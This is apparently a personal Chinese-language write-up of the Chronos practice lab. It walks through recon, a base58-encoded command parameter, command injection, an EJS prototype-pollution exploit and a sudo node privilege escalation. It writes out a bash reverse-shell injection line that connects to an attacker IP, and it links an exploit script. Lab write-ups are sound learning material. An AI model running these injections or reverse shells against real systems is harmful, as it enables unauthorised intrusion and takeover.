前言
一个考验细心的靶场,我还挺被卡的,也是给我一个教训,写复盘主要是记录回顾,做出来主要还是参考了大佬的wp,写完wp还是意识到自己基础太弱,希望暑假能静下心好好补基础
主要参考:
https://al1enum.github.io/docs/Chronos.pdf
https://www.bilibili.com/video/BV15o4y1z73N/?vd_source=04ff153ff0b36e8676b4638902ed9f4b (讲的很细,推荐)
信息搜集
前期看到开了22,80,8000端口,先看80和8000
最开始拿到两个网页,内容差不多,查看源代码也没看到什么新东西,扫了很久目录扫到一个/date,访问之后是一些报错,暂时对我没什么帮助,这个时候我就被卡住了。。。。
然后我就看了wp提示,要观察访问网站的请求包
可以看到这里有个域名,要编辑一下/etc/hosts了,再访问
主要到/data?format=有一段内容,尝试拿去解码
base58解码后发现这是一个显示时间的命令,至于为什么会Permission Denied,经过研究,发现是请求包的缺少了特定的ua头(正常抓包能发现是有的)(后来发现网站源码有一段被混淆的代码,解混淆后也能知道要求有特定ua头才能执行代码)
于是加上之后才能正确看到时间
功能点利用
知道有这个功能点,可以尝试命令注入,format参数接收命令,于是尝试
1 | ;bash -c '/bin/bash -i >& /dev/tcp/192.168.64.3/8888 0>&1' |
成功反弹到shell
提权
看了一下靶机开放的端口
发现内网还开了一个8080端口,curl一下
发现有Chronos version2,回到上一级目录,有一个chronos-v2,看一下代码
ejs库使用express-fileupload
来处理文件上传,有一个利用原型链污染的poc(还不是很懂原理)可以直接用
https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py
1 | import requests |
执行这个poc就能得到imera的shell
然后sudo -l就能看到有node和npm可以用
直接gtfobins利用node一把梭,提权成功,结束